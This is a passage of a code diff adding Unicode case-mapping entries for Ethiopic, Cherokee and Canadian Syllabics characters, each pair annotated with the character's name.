+ ["\u12F5", "\u12F5"], /* ETHIOPIC SYLLABLE DE */
+ ["\u12F6", "\u12F6"], /* ETHIOPIC SYLLABLE DO */
+ ["\u12F7", "\u12F7"], /* ETHIOPIC SYLLABLE DWA */
+ ["\u12F8", "\u12F8"], /* ETHIOPIC SYLLABLE DDA */
+ ["\u12F9", "\u12F9"], /* ETHIOPIC SYLLABLE DDU */
+ ["\u12FA", "\u12FA"], /* ETHIOPIC SYLLABLE DDI */
+ ["\u12FB", "\u12FB"], /* ETHIOPIC SYLLABLE DDAA */
+ ["\u12FC", "\u12FC"], /* ETHIOPIC SYLLABLE DDEE */
+ ["\u12FD", "\u12FD"], /* ETHIOPIC SYLLABLE DDE */
+ ["\u12FE", "\u12FE"], /* ETHIOPIC SYLLABLE DDO */
+ ["\u12FF", "\u12FF"], /* ETHIOPIC SYLLABLE DDWA */
+ ["\u1300", "\u1300"], /* ETHIOPIC SYLLABLE JA */
+ ["\u1301", "\u1301"], /* ETHIOPIC SYLLABLE JU */
+ ["\u1302", "\u1302"], /* ETHIOPIC SYLLABLE JI */
+ ["\u1303", "\u1303"], /* ETHIOPIC SYLLABLE JAA */
+ ["\u1304", "\u1304"], /* ETHIOPIC SYLLABLE JEE */
+ ["\u1305", "\u1305"], /* ETHIOPIC SYLLABLE JE */
+ ["\u1306", "\u1306"], /* ETHIOPIC SYLLABLE JO */
+ ["\u1307", "\u1307"], /* ETHIOPIC SYLLABLE JWA */
+ ["\u1308", "\u1308"], /* ETHIOPIC SYLLABLE GA */
+ ["\u1309", "\u1309"], /* ETHIOPIC SYLLABLE GU */
+ ["\u130A", "\u130A"], /* ETHIOPIC SYLLABLE GI */
+ ["\u130B", "\u130B"], /* ETHIOPIC SYLLABLE GAA */
+ ["\u130C", "\u130C"], /* ETHIOPIC SYLLABLE GEE */
+ ["\u130D", "\u130D"], /* ETHIOPIC SYLLABLE GE */
+ ["\u130E", "\u130E"], /* ETHIOPIC SYLLABLE GO */
+ ["\u130F", "\u130F"], /* ETHIOPIC SYLLABLE GOA */
+ ["\u1310", "\u1310"], /* ETHIOPIC SYLLABLE GWA */
+ ["\u1311", "\u1311"],
+ ["\u1312", "\u1312"], /* ETHIOPIC SYLLABLE GWI */
+ ["\u1313", "\u1313"], /* ETHIOPIC SYLLABLE GWAA */
+ ["\u1314", "\u1314"], /* ETHIOPIC SYLLABLE GWEE */
+ ["\u1315", "\u1315"], /* ETHIOPIC SYLLABLE GWE */
+ ["\u1316", "\u1316"],
+ ["\u1317", "\u1317"],
+ ["\u1318", "\u1318"], /* ETHIOPIC SYLLABLE GGA */
+ ["\u1319", "\u1319"], /* ETHIOPIC SYLLABLE GGU */
+ ["\u131A", "\u131A"], /* ETHIOPIC SYLLABLE GGI */
+ ["\u131B", "\u131B"], /* ETHIOPIC SYLLABLE GGAA */
+ ["\u131C", "\u131C"], /* ETHIOPIC SYLLABLE GGEE */
+ ["\u131D", "\u131D"], /* ETHIOPIC SYLLABLE GGE */
+ ["\u131E", "\u131E"], /* ETHIOPIC SYLLABLE GGO */
+ ["\u131F", "\u131F"], /* ETHIOPIC SYLLABLE GGWAA */
+ ["\u1320", "\u1320"], /* ETHIOPIC SYLLABLE THA */
+ ["\u1321", "\u1321"], /* ETHIOPIC SYLLABLE THU */
+ ["\u1322", "\u1322"], /* ETHIOPIC SYLLABLE THI */
+ ["\u1323", "\u1323"], /* ETHIOPIC SYLLABLE THAA */
+ ["\u1324", "\u1324"], /* ETHIOPIC SYLLABLE THEE */
+ ["\u1325", "\u1325"], /* ETHIOPIC SYLLABLE THE */
+ ["\u1326", "\u1326"], /* ETHIOPIC SYLLABLE THO */
+ ["\u1327", "\u1327"], /* ETHIOPIC SYLLABLE THWA */
+ ["\u1328", "\u1328"], /* ETHIOPIC SYLLABLE CHA */
+ ["\u1329", "\u1329"], /* ETHIOPIC SYLLABLE CHU */
+ ["\u132A", "\u132A"], /* ETHIOPIC SYLLABLE CHI */
+ ["\u132B", "\u132B"], /* ETHIOPIC SYLLABLE CHAA */
+ ["\u132C", "\u132C"], /* ETHIOPIC SYLLABLE CHEE */
+ ["\u132D", "\u132D"], /* ETHIOPIC SYLLABLE CHE */
+ ["\u132E", "\u132E"], /* ETHIOPIC SYLLABLE CHO */
+ ["\u132F", "\u132F"], /* ETHIOPIC SYLLABLE CHWA */
+ ["\u1330", "\u1330"], /* ETHIOPIC SYLLABLE PHA */
+ ["\u1331", "\u1331"], /* ETHIOPIC SYLLABLE PHU */
+ ["\u1332", "\u1332"], /* ETHIOPIC SYLLABLE PHI */
+ ["\u1333", "\u1333"], /* ETHIOPIC SYLLABLE PHAA */
+ ["\u1334", "\u1334"], /* ETHIOPIC SYLLABLE PHEE */
+ ["\u1335", "\u1335"], /* ETHIOPIC SYLLABLE PHE */
+ ["\u1336", "\u1336"], /* ETHIOPIC SYLLABLE PHO */
+ ["\u1337", "\u1337"], /* ETHIOPIC SYLLABLE PHWA */
+ ["\u1338", "\u1338"], /* ETHIOPIC SYLLABLE TSA */
+ ["\u1339", "\u1339"], /* ETHIOPIC SYLLABLE TSU */
+ ["\u133A", "\u133A"], /* ETHIOPIC SYLLABLE TSI */
+ ["\u133B", "\u133B"], /* ETHIOPIC SYLLABLE TSAA */
+ ["\u133C", "\u133C"], /* ETHIOPIC SYLLABLE TSEE */
+ ["\u133D", "\u133D"], /* ETHIOPIC SYLLABLE TSE */
+ ["\u133E", "\u133E"], /* ETHIOPIC SYLLABLE TSO */
+ ["\u133F", "\u133F"], /* ETHIOPIC SYLLABLE TSWA */
+ ["\u1340", "\u1340"], /* ETHIOPIC SYLLABLE TZA */
+ ["\u1341", "\u1341"], /* ETHIOPIC SYLLABLE TZU */
+ ["\u1342", "\u1342"], /* ETHIOPIC SYLLABLE TZI */
+ ["\u1343", "\u1343"], /* ETHIOPIC SYLLABLE TZAA */
+ ["\u1344", "\u1344"], /* ETHIOPIC SYLLABLE TZEE */
+ ["\u1345", "\u1345"], /* ETHIOPIC SYLLABLE TZE */
+ ["\u1346", "\u1346"], /* ETHIOPIC SYLLABLE TZO */
+ ["\u1347", "\u1347"], /* ETHIOPIC SYLLABLE TZOA */
+ ["\u1348", "\u1348"], /* ETHIOPIC SYLLABLE FA */
+ ["\u1349", "\u1349"], /* ETHIOPIC SYLLABLE FU */
+ ["\u134A", "\u134A"], /* ETHIOPIC SYLLABLE FI */
+ ["\u134B", "\u134B"], /* ETHIOPIC SYLLABLE FAA */
+ ["\u134C", "\u134C"], /* ETHIOPIC SYLLABLE FEE */
+ ["\u134D", "\u134D"], /* ETHIOPIC SYLLABLE FE */
+ ["\u134E", "\u134E"], /* ETHIOPIC SYLLABLE FO */
+ ["\u134F", "\u134F"], /* ETHIOPIC SYLLABLE FWA */
+ ["\u1350", "\u1350"], /* ETHIOPIC SYLLABLE PA */
+ ["\u1351", "\u1351"], /* ETHIOPIC SYLLABLE PU */
+ ["\u1352", "\u1352"], /* ETHIOPIC SYLLABLE PI */
+ ["\u1353", "\u1353"], /* ETHIOPIC SYLLABLE PAA */
+ ["\u1354", "\u1354"], /* ETHIOPIC SYLLABLE PEE */
+ ["\u1355", "\u1355"], /* ETHIOPIC SYLLABLE PE */
+ ["\u1356", "\u1356"], /* ETHIOPIC SYLLABLE PO */
+ ["\u1357", "\u1357"], /* ETHIOPIC SYLLABLE PWA */
+ ["\u1358", "\u1358"], /* ETHIOPIC SYLLABLE RYA */
+ ["\u1359", "\u1359"], /* ETHIOPIC SYLLABLE MYA */
+ ["\u135A", "\u135A"], /* ETHIOPIC SYLLABLE FYA */
+ ["\u135B", "\u135B"],
+ ["\u135C", "\u135C"],
+ ["\u135D", "\u135D"], /* ETHIOPIC COMBINING GEMINATION AND VOWEL LENGTH MARK */
+ ["\u135E", "\u135E"], /* ETHIOPIC COMBINING VOWEL LENGTH MARK */
+ ["\u135F", "\u135F"], /* ETHIOPIC COMBINING GEMINATION MARK */
+ ["\u1360", "\u1360"], /* ETHIOPIC SECTION MARK */
+ ["\u1361", "\u1361"], /* ETHIOPIC WORDSPACE */
+ ["\u1362", "\u1362"], /* ETHIOPIC FULL STOP */
+ ["\u1363", "\u1363"], /* ETHIOPIC COMMA */
+ ["\u1364", "\u1364"], /* ETHIOPIC SEMICOLON */
+ ["\u1365", "\u1365"], /* ETHIOPIC COLON */
+ ["\u1366", "\u1366"], /* ETHIOPIC PREFACE COLON */
+ ["\u1367", "\u1367"], /* ETHIOPIC QUESTION MARK */
+ ["\u1368", "\u1368"], /* ETHIOPIC PARAGRAPH SEPARATOR */
+ ["\u1369", "\u1369"], /* ETHIOPIC DIGIT ONE */
+ ["\u136A", "\u136A"], /* ETHIOPIC DIGIT TWO */
+ ["\u136B", "\u136B"], /* ETHIOPIC DIGIT THREE */
+ ["\u136C", "\u136C"], /* ETHIOPIC DIGIT FOUR */
+ ["\u136D", "\u136D"], /* ETHIOPIC DIGIT FIVE */
+ ["\u136E", "\u136E"], /* ETHIOPIC DIGIT SIX */
+ ["\u136F", "\u136F"], /* ETHIOPIC DIGIT SEVEN */
+ ["\u1370", "\u1370"], /* ETHIOPIC DIGIT EIGHT */
+ ["\u1371", "\u1371"], /* ETHIOPIC DIGIT NINE */
+ ["\u1372", "\u1372"], /* ETHIOPIC NUMBER TEN */
+ ["\u1373", "\u1373"], /* ETHIOPIC NUMBER TWENTY */
+ ["\u1374", "\u1374"], /* ETHIOPIC NUMBER THIRTY */
+ ["\u1375", "\u1375"], /* ETHIOPIC NUMBER FORTY */
+ ["\u1376", "\u1376"], /* ETHIOPIC NUMBER FIFTY */
+ ["\u1377", "\u1377"], /* ETHIOPIC NUMBER SIXTY */
+ ["\u1378", "\u1378"], /* ETHIOPIC NUMBER SEVENTY */
+ ["\u1379", "\u1379"], /* ETHIOPIC NUMBER EIGHTY */
+ ["\u137A", "\u137A"], /* ETHIOPIC NUMBER NINETY */
+ ["\u137B", "\u137B"], /* ETHIOPIC NUMBER HUNDRED */
+ ["\u137C", "\u137C"], /* ETHIOPIC NUMBER TEN THOUSAND */
+ ["\u137D", "\u137D"],
+ ["\u137E", "\u137E"],
+ ["\u137F", "\u137F"],
+ ["\u1380", "\u1380"], /* ETHIOPIC SYLLABLE SEBATBEIT MWA */
+ ["\u1381", "\u1381"], /* ETHIOPIC SYLLABLE MWI */
+ ["\u1382", "\u1382"], /* ETHIOPIC SYLLABLE MWEE */
+ ["\u1383", "\u1383"], /* ETHIOPIC SYLLABLE MWE */
+ ["\u1384", "\u1384"], /* ETHIOPIC SYLLABLE SEBATBEIT BWA */
+ ["\u1385", "\u1385"], /* ETHIOPIC SYLLABLE BWI */
+ ["\u1386", "\u1386"], /* ETHIOPIC SYLLABLE BWEE */
+ ["\u1387", "\u1387"], /* ETHIOPIC SYLLABLE BWE */
+ ["\u1388", "\u1388"], /* ETHIOPIC SYLLABLE SEBATBEIT FWA */
+ ["\u1389", "\u1389"], /* ETHIOPIC SYLLABLE FWI */
+ ["\u138A", "\u138A"], /* ETHIOPIC SYLLABLE FWEE */
+ ["\u138B", "\u138B"], /* ETHIOPIC SYLLABLE FWE */
+ ["\u138C", "\u138C"], /* ETHIOPIC SYLLABLE SEBATBEIT PWA */
+ ["\u138D", "\u138D"], /* ETHIOPIC SYLLABLE PWI */
+ ["\u138E", "\u138E"], /* ETHIOPIC SYLLABLE PWEE */
+ ["\u138F", "\u138F"], /* ETHIOPIC SYLLABLE PWE */
+ ["\u1390", "\u1390"], /* ETHIOPIC TONAL MARK YIZET */
+ ["\u1391", "\u1391"], /* ETHIOPIC TONAL MARK DERET */
+ ["\u1392", "\u1392"], /* ETHIOPIC TONAL MARK RIKRIK */
+ ["\u1393", "\u1393"], /* ETHIOPIC TONAL MARK SHORT RIKRIK */
+ ["\u1394", "\u1394"], /* ETHIOPIC TONAL MARK DIFAT */
+ ["\u1395", "\u1395"], /* ETHIOPIC TONAL MARK KENAT */
+ ["\u1396", "\u1396"], /* ETHIOPIC TONAL MARK CHIRET */
+ ["\u1397", "\u1397"], /* ETHIOPIC TONAL MARK HIDET */
+ ["\u1398", "\u1398"], /* ETHIOPIC TONAL MARK DERET-HIDET */
+ ["\u1399", "\u1399"], /* ETHIOPIC TONAL MARK KURT */
+ ["\u139A", "\u139A"],
+ ["\u139B", "\u139B"],
+ ["\u139C", "\u139C"],
+ ["\u139D", "\u139D"],
+ ["\u139E", "\u139E"],
+ ["\u139F", "\u139F"],
+ ["\u13A0", "\uAB70"], /* CHEROKEE LETTER A */
+ ["\u13A1", "\uAB71"], /* CHEROKEE LETTER E */
+ ["\u13A2", "\uAB72"], /* CHEROKEE LETTER I */
+ ["\u13A3", "\uAB73"], /* CHEROKEE LETTER O */
+ ["\u13A4", "\uAB74"], /* CHEROKEE LETTER U */
+ ["\u13A5", "\uAB75"], /* CHEROKEE LETTER V */
+ ["\u13A6", "\uAB76"], /* CHEROKEE LETTER GA */
+ ["\u13A7", "\uAB77"], /* CHEROKEE LETTER KA */
+ ["\u13A8", "\uAB78"], /* CHEROKEE LETTER GE */
+ ["\u13A9", "\uAB79"], /* CHEROKEE LETTER GI */
+ ["\u13AA", "\uAB7A"], /* CHEROKEE LETTER GO */
+ ["\u13AB", "\uAB7B"], /* CHEROKEE LETTER GU */
+ ["\u13AC", "\uAB7C"], /* CHEROKEE LETTER GV */
+ ["\u13AD", "\uAB7D"], /* CHEROKEE LETTER HA */
+ ["\u13AE", "\uAB7E"], /* CHEROKEE LETTER HE */
+ ["\u13AF", "\uAB7F"], /* CHEROKEE LETTER HI */
+ ["\u13B0", "\uAB80"], /* CHEROKEE LETTER HO */
+ ["\u13B1", "\uAB81"], /* CHEROKEE LETTER HU */
+ ["\u13B2", "\uAB82"], /* CHEROKEE LETTER HV */
+ ["\u13B3", "\uAB83"], /* CHEROKEE LETTER LA */
+ ["\u13B4", "\uAB84"], /* CHEROKEE LETTER LE */
+ ["\u13B5", "\uAB85"], /* CHEROKEE LETTER LI */
+ ["\u13B6", "\uAB86"], /* CHEROKEE LETTER LO */
+ ["\u13B7", "\uAB87"], /* CHEROKEE LETTER LU */
+ ["\u13B8", "\uAB88"], /* CHEROKEE LETTER LV */
+ ["\u13B9", "\uAB89"], /* CHEROKEE LETTER MA */
+ ["\u13BA", "\uAB8A"], /* CHEROKEE LETTER ME */
+ ["\u13BB", "\uAB8B"], /* CHEROKEE LETTER MI */
+ ["\u13BC", "\uAB8C"], /* CHEROKEE LETTER MO */
+ ["\u13BD", "\uAB8D"], /* CHEROKEE LETTER MU */
+ ["\u13BE", "\uAB8E"], /* CHEROKEE LETTER NA */
+ ["\u13BF", "\uAB8F"], /* CHEROKEE LETTER HNA */
+ ["\u13C0", "\uAB90"], /* CHEROKEE LETTER NAH */
+ ["\u13C1", "\uAB91"], /* CHEROKEE LETTER NE */
+ ["\u13C2", "\uAB92"], /* CHEROKEE LETTER NI */
+ ["\u13C3", "\uAB93"], /* CHEROKEE LETTER NO */
+ ["\u13C4", "\uAB94"], /* CHEROKEE LETTER NU */
+ ["\u13C5", "\uAB95"], /* CHEROKEE LETTER NV */
+ ["\u13C6", "\uAB96"], /* CHEROKEE LETTER QUA */
+ ["\u13C7", "\uAB97"], /* CHEROKEE LETTER QUE */
+ ["\u13C8", "\uAB98"], /* CHEROKEE LETTER QUI */
+ ["\u13C9", "\uAB99"], /* CHEROKEE LETTER QUO */
+ ["\u13CA", "\uAB9A"], /* CHEROKEE LETTER QUU */
+ ["\u13CB", "\uAB9B"], /* CHEROKEE LETTER QUV */
+ ["\u13CC", "\uAB9C"], /* CHEROKEE LETTER SA */
+ ["\u13CD", "\uAB9D"], /* CHEROKEE LETTER S */
+ ["\u13CE", "\uAB9E"], /* CHEROKEE LETTER SE */
+ ["\u13CF", "\uAB9F"], /* CHEROKEE LETTER SI */
+ ["\u13D0", "\uABA0"], /* CHEROKEE LETTER SO */
+ ["\u13D1", "\uABA1"], /* CHEROKEE LETTER SU */
+ ["\u13D2", "\uABA2"], /* CHEROKEE LETTER SV */
+ ["\u13D3", "\uABA3"], /* CHEROKEE LETTER DA */
+ ["\u13D4", "\uABA4"], /* CHEROKEE LETTER TA */
+ ["\u13D5", "\uABA5"], /* CHEROKEE LETTER DE */
+ ["\u13D6", "\uABA6"], /* CHEROKEE LETTER TE */
+ ["\u13D7", "\uABA7"], /* CHEROKEE LETTER DI */
+ ["\u13D8", "\uABA8"], /* CHEROKEE LETTER TI */
+ ["\u13D9", "\uABA9"], /* CHEROKEE LETTER DO */
+ ["\u13DA", "\uABAA"], /* CHEROKEE LETTER DU */
+ ["\u13DB", "\uABAB"], /* CHEROKEE LETTER DV */
+ ["\u13DC", "\uABAC"], /* CHEROKEE LETTER DLA */
+ ["\u13DD", "\uABAD"], /* CHEROKEE LETTER TLA */
+ ["\u13DE", "\uABAE"], /* CHEROKEE LETTER TLE */
+ ["\u13DF", "\uABAF"], /* CHEROKEE LETTER TLI */
+ ["\u13E0", "\uABB0"], /* CHEROKEE LETTER TLO */
+ ["\u13E1", "\uABB1"], /* CHEROKEE LETTER TLU */
+ ["\u13E2", "\uABB2"], /* CHEROKEE LETTER TLV */
+ ["\u13E3", "\uABB3"], /* CHEROKEE LETTER TSA */
+ ["\u13E4", "\uABB4"], /* CHEROKEE LETTER TSE */
+ ["\u13E5", "\uABB5"], /* CHEROKEE LETTER TSI */
+ ["\u13E6", "\uABB6"], /* CHEROKEE LETTER TSO */
+ ["\u13E7", "\uABB7"], /* CHEROKEE LETTER TSU */
+ ["\u13E8", "\uABB8"], /* CHEROKEE LETTER TSV */
+ ["\u13E9", "\uABB9"], /* CHEROKEE LETTER WA */
+ ["\u13EA", "\uABBA"], /* CHEROKEE LETTER WE */
+ ["\u13EB", "\uABBB"], /* CHEROKEE LETTER WI */
+ ["\u13EC", "\uABBC"], /* CHEROKEE LETTER WO */
+ ["\u13ED", "\uABBD"], /* CHEROKEE LETTER WU */
+ ["\u13EE", "\uABBE"], /* CHEROKEE LETTER WV */
+ ["\u13EF", "\uABBF"], /* CHEROKEE LETTER YA */
+ ["\u13F0", "\u13F8"], /* CHEROKEE LETTER YE */
+ ["\u13F1", "\u13F9"], /* CHEROKEE LETTER YI */
+ ["\u13F2", "\u13FA"], /* CHEROKEE LETTER YO */
+ ["\u13F3", "\u13FB"], /* CHEROKEE LETTER YU */
+ ["\u13F4", "\u13FC"], /* CHEROKEE LETTER YV */
+ ["\u13F5", "\u13FD"], /* CHEROKEE LETTER MV */
+ ["\u13F6", "\u13F6"],
+ ["\u13F7", "\u13F7"],
+ ["\u13F0", "\u13F8"], /* CHEROKEE SMALL LETTER YE */
+ ["\u13F1", "\u13F9"], /* CHEROKEE SMALL LETTER YI */
+ ["\u13F2", "\u13FA"], /* CHEROKEE SMALL LETTER YO */
+ ["\u13F3", "\u13FB"], /* CHEROKEE SMALL LETTER YU */
+ ["\u13F4", "\u13FC"], /* CHEROKEE SMALL LETTER YV */
+ ["\u13F5", "\u13FD"], /* CHEROKEE SMALL LETTER MV */
+ ["\u13FE", "\u13FE"],
+ ["\u13FF", "\u13FF"],
+ ["\u1400", "\u1400"], /* CANADIAN SYLLABICS HYPHEN */
+ ["\u1401", "\u1401"], /* CANADIAN SYLLABICS E */
+ ["\u1402", "\u1402"], /* CANADIAN SYLLABICS AAI */
+ ["\u1403", "\u1403"], /* CANADIAN SYLLABICS I */
+ ["\u1404", "\u1404"], /* CANADIAN SYLLABICS II */
+ ["\u1405", "\u1405"], /* CANADIAN SYLLABICS O */
+ ["\u1406", "\u1406"], /* CANADIAN SYLLABICS OO */
+ ["\u1407", "\u1407"], /* CANADIAN SYLLABICS Y-CREE OO */
+ ["\u1408", "\u1408"], /* CANADIAN SYLLABICS CARRIER EE */
+ ["\u1409", "\u1409"], /* CANADIAN SYLLABICS CARRIER I */
+ ["\u140A", "\u140A"], /* CANADIAN SYLLABICS A */
+ ["\u140B", "\u140B"], /* CANADIAN SYLLABICS AA */
+ ["\u140C", "\u140C"], /* CANADIAN SYLLABICS WE */
+ ["\u140D", "\u140D"], /* CANADIAN SYLLABICS WEST-CREE WE */
+ ["\u140E", "\u140E"], /* CANADIAN SYLLABICS WI */
+ ["\u140F", "\u140F"], /* CANADIAN SYLLABICS WEST-CREE WI */
+ ["\u1410", "\u1410"], /* CANADIAN SYLLABICS WII */
+ ["\u1411", "\u1411"], /* CANADIAN SYLLABICS WEST-CREE WII */
+ ["\u1412", "\u1412"], /* CANADIAN SYLLABICS WO */
+ ["\u1413", "\u1413"], /* CANADIAN SYLLABICS WEST-CREE WO */
+ ["\u1414", "\u1414"], /* CANADIAN SYLLABICS WOO */
+ ["\u1415", "\u1415"], /* CANADIAN SYLLABICS WEST-CREE WOO */
+ ["\u1416", "\u1416"], /* CANADIAN SYLLABICS NASKAPI WOO */
+ ["\u1417", "\u1417"], /* CANADIAN SYLLABICS WA */
+ ["\u1418", "\u1418"], /* CANADIAN SYLLABICS WEST-CREE WA */
+ ["\u1419", "\u1419"], /* CANADIAN SYLLABICS WAA */
+ ["\u141A", "\u141A"], /* CANADIAN SYLLABICS WEST-CREE WAA */
+ ["\u141B", "\u141B"], /* CANADIAN SYLLABICS NASKAPI WAA */
+ ["\u141C", "\u141C"], /* CANADIAN SYLLABICS AI */
+ ["\u141D", "\u141D"], /* CANADIAN SYLLABICS Y-CREE W */
+ ["\u141E", "\u141E"], /* CANADIAN SYLLABICS GLOTTAL STOP */
+ ["\u141F", "\u141F"], /* CANADIAN SYLLABICS FINAL ACUTE */
+ ["\u1420", "\u1420"], /* CANADIAN SYLLABICS FINAL GRAVE */
+ ["\u1421", "\u1421"], /* CANADIAN SYLLABICS FINAL BOTTOM HALF RING */
+ ["\u1422", "\u1422"], /* CANADIAN SYLLABICS FINAL TOP HALF RING */
+ ["\u1423", "\u1423"], /* CANADIAN SYLLABICS FINAL RIGHT HALF RING */
+ ["\u1424", "\u1424"], /* CANADIAN SYLLABICS FINAL RING */
+ ["\u1425", "\u1425"], /* CANADIAN SYLLABICS FINAL DOUBLE ACUTE */
+ ["\u1426", "\u1426"], /* CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES */
+ ["\u1427", "\u1427"], /* CANADIAN SYLLABICS FINAL MIDDLE DOT */
+ ["\u1428", "\u1428"], /* CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE */
+ ["\u1429", "\u1429"], /* CANADIAN SYLLABICS FINAL PLUS */
+ ["\u142A", "\u142A"], /* CANADIAN SYLLABICS FINAL DOWN TACK */
+ ["\u142B", "\u142B"], /* CANADIAN SYLLABICS EN */
+ ["\u142C", "\u142C"], /* CANADIAN SYLLABICS IN */
+ ["\u142D", "\u142D"], /* CANADIAN SYLLABICS ON */
+ ["\u142E", "\u142E"], /* CANADIAN SYLLABICS AN */
+ ["\u142F", "\u142F"], /* CANADIAN SYLLABICS PE */
+ ["\u1430", "\u1430"], /* CANADIAN SYLLABICS PAAI */
+ ["\u1431", "\u1431"], /* CANADIAN SYLLABICS PI */
+ ["\u1432", "\u1432"], /* CANADIAN SYLLABICS PII */
+ ["\u1433", "\u1433"], /* CANADIAN SYLLABICS PO */
+ ["\u1434", "\u1434"], /* CANADIAN SYLLABICS POO */
+ ["\u1435", "\u1435"], /* CANADIAN SYLLABICS Y-CREE POO */
+ ["\u1436", "\u1436"], /* CANADIAN SYLLABICS CARRIER HEE */
+ ["\u1437", "\u1437"], /* CANADIAN SYLLABICS CARRIER HI */
+ ["\u1438", "\u1438"], /* CANADIAN SYLLABICS PA */
+ ["\u1439", "\u1439"], /* CANADIAN SYLLABICS PAA */
+ ["\u143A", "\u143A"], /* CANADIAN SYLLABICS PWE */
+ ["\u143B", "\u143B"], /* CANADIAN SYLLABICS WEST-CREE PWE */
+ ["\u143C", "\u143C"], /* CANADIAN SYLLABICS PWI */
+ ["\u143D", "\u143D"], /* CANADIAN SYLLABICS WEST-CREE PWI */
+ ["\u143E", "\u143E"], /* CANADIAN SYLLABICS PWII */
+ ["\u143F", "\u143F"], /* CANADIAN SYLLABICS WEST-CREE PWII */
+ ["\u1440", "\u1440"], /* CANADIAN SYLLABICS PWO */
+ ["\u1441", "\u1441"], /* CANADIAN SYLLABICS WEST-CREE PWO */
+ ["\u1442", "\u1442"], /* CANADIAN SYLLABICS PWOO */
+ ["\u1443", "\u1443"], /* CANADIAN SYLLABICS WEST-CREE PWOO */
+ ["\u1444", "\u1444"], /* CANADIAN SYLLABICS PWA */
+ ["\u1445", "\u1445"], /* CANADIAN SYLLABICS WEST-CREE PWA */
+ ["\u1446", "\u1446"], /* CANADIAN SYLLABICS PWAA */
+ ["\u1447", "\u1447"], /* CANADIAN SYLLABICS WEST-CREE PWAA */
+ ["\u1448", "\u1448"], /* CANADIAN SYLLABICS Y-CREE PWAA */
+ ["\u1449", "\u1449"], /* CANADIAN SYLLABICS P */
+ ["\u144A", "\u144A"], /* CANADIAN SYLLABICS WEST-CREE P */
+ ["\u144B", "\u144B"], /* CANADIAN SYLLABICS CARRIER H */
+ ["\u144C", "\u144C"], /* CANADIAN SYLLABICS TE */
+ ["\u144D", "\u144D"], /* CANADIAN SYLLABICS TAAI */
+ ["\u144E", "\u144E"], /* CANADIAN SYLLABICS TI */
+ ["\u144F", "\u144F"], /* CANADIAN SYLLABICS TII */
+ ["\u1450", "\u1450"], /* CANADIAN SYLLABICS TO */
+ ["\u1451", "\u1451"], /* CANADIAN SYLLABICS TOO */
+ ["\u1452", "\u1452"], /* CANADIAN SYLLABICS Y-CREE TOO */
+ ["\u1453", "\u1453"], /* CANADIAN SYLLABICS CARRIER DEE */
+ ["\u1454", "\u1454"], /* CANADIAN SYLLABICS CARRIER DI */
+ ["\u1455", "\u1455"], /* CANADIAN SYLLABICS TA */
+ ["\u1456", "\u1456"], /* CANADIAN SYLLABICS TAA */
+ ["\u1457", "\u1457"], /* CANADIAN SYLLABICS TWE */
+ ["\u1458", "\u1458"], /* CANADIAN SYLLABICS WEST-CREE TWE */
+ ["\u1459", "\u1459"], /* CANADIAN SYLLABICS TWI */
+ ["\u145A", "\u145A"], /* CANADIAN SYLLABICS WEST-CREE TWI */
+ ["\u145B", "\u145B"], /* CANADIAN SYLLABICS TWII */
+ ["\u145C", "\u145C"], /* CANADIAN SYLLABICS WEST-CREE TWII */
+ ["\u145D", "\u145D"], /* CANADIAN SYLLABICS TWO */
+ ["\u145E", "\u145E"], /* CANADIAN SYLLABICS WEST-CREE TWO */
+ ["\u145F", "\u145F"], /* CANADIAN SYLLABICS TWOO */
+ ["\u1460", "\u1460"], /* CANADIAN SYLLABICS WEST-CREE TWOO */
+ ["\u1461", "\u1461"], /* CANADIAN SYLLABICS TWA */
+ ["\u1462", "\u1462"], /* CANADIAN SYLLABICS WEST-CREE TWA */
+ ["\u1463", "\u1463"], /* CANADIAN SYLLABICS TWAA */
+ ["\u1464", "\u1464"], /* CANADIAN SYLLABICS WEST-CREE TWAA */
+ ["\u1465", "\u1465"], /* CANADIAN SYLLABICS NASKAPI TWAA */
+ ["\u1466", "\u1466"], /* CANADIAN SYLLABICS T */
+ ["\u1467", "\u1467"], /* CANADIAN SYLLABICS TTE */
+ ["\u1468", "\u1468"], /* CANADIAN SYLLABICS TTI */
+ ["\u1469", "\u1469"], /* CANADIAN SYLLABICS TTO */
+ ["\u146A", "\u146A"], /* CANADIAN SYLLABICS TTA */
+ ["\u146B", "\u146B"], /* CANADIAN SYLLABICS KE */
+ ["\u146C", "\u146C"], /* CANADIAN SYLLABICS KAAI */
+ ["\u146D", "\u146D"], /* CANADIAN SYLLABICS KI */
+ ["\u146E", "\u146E"], /* CANADIAN SYLLABICS KII */
+ ["\u146F", "\u146F"], /* CANADIAN SYLLABICS KO */
+ ["\u1470", "\u1470"], /* CANADIAN SYLLABICS KOO */
+ ["\u1471", "\u1471"], /* CANADIAN SYLLABICS Y-CREE KOO */
+ ["\u1472", "\u1472"], /* CANADIAN SYLLABICS KA */
+ ["\u1473", "\u1473"], /* CANADIAN SYLLABICS KAA */
+ ["\u1474", "\u1474"], /* CANADIAN SYLLABICS KWE */
+ ["\u1475", "\u1475"], /* CANADIAN SYLLABICS WEST-CREE KWE */
+ ["\u1476", "\u1476"], /* CANADIAN SYLLABICS KWI */
+ ["\u1477", "\u1477"], /* CANADIAN SYLLABICS WEST-CREE KWI */
+ ["\u1478", "\u1478"], /* CANADIAN SYLLABICS KWII */
+ ["\u1479", "\u1479"], /* CANADIAN SYLLABICS WEST-CREE KWII */
+ ["\u147A", "\u147A"], /* CANADIAN SYLLABICS KWO */
+ ["\u147B", "\u147B"], /* CANADIAN SYLLABICS WEST-CREE KWO */
+ ["\u147C", "\u147C"], /* CANADIAN SYLLABICS KWOO */
+ ["\u147D", "\u147D"], /* CANADIAN SYLLABICS WEST-CREE KWOO */
+ ["\u147E", "\u147E"], /* CANADIAN SYLLABICS KWA */
+ ["\u147F", "\u147F"], /* CANADIAN SYLLABICS WEST-CREE KWA */
+ ["\u1480", "\u1480"], /* CANADIAN SYLLABICS KWAA */
+ ["\u1481", "\u1481"], /* CANADIAN SYLLABICS WEST-CREE KWAA */
+ ["\u1482", "\u1482"], /* CANADIAN SYLLABICS NASKAPI KWAA */
+ ["\u1483", "\u1483"], /* CANADIAN SYLLABICS K */
+ ["\u1484", "\u1484"], /* CANADIAN SYLLABICS KW */
+ ["\u1485", "\u1485"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KEH */
+ ["\u1486", "\u1486"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KIH */
+ ["\u1487", "\u1487"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KOH */
+ ["\u1488", "\u1488"], /* CANADIAN SYLLABICS SOUTH-SLAVEY KAH */
